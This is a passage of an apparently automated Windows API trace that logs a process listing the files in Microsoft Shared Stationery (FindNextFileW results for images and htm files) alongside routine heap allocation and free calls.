ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeebc8 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef24c8 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeebe8 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef25d0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeec08 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef26d8 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeec28 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef27e0 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeec48 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef28e8 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeec68 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef29f0 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeec88 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef2af8 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeca8 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef2c00 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.840] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeecc8 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef2d08 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x640) returned 0xef0e30 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef1980) returned 1 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeece8 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef2e10 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeed08 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef2f18 [0051.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.841] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0051.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeed28 [0051.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef3020 [0051.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0051.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0051.842] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0051.843] GetLastError () returned 0x12 [0051.843] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0051.843] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0051.843] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, 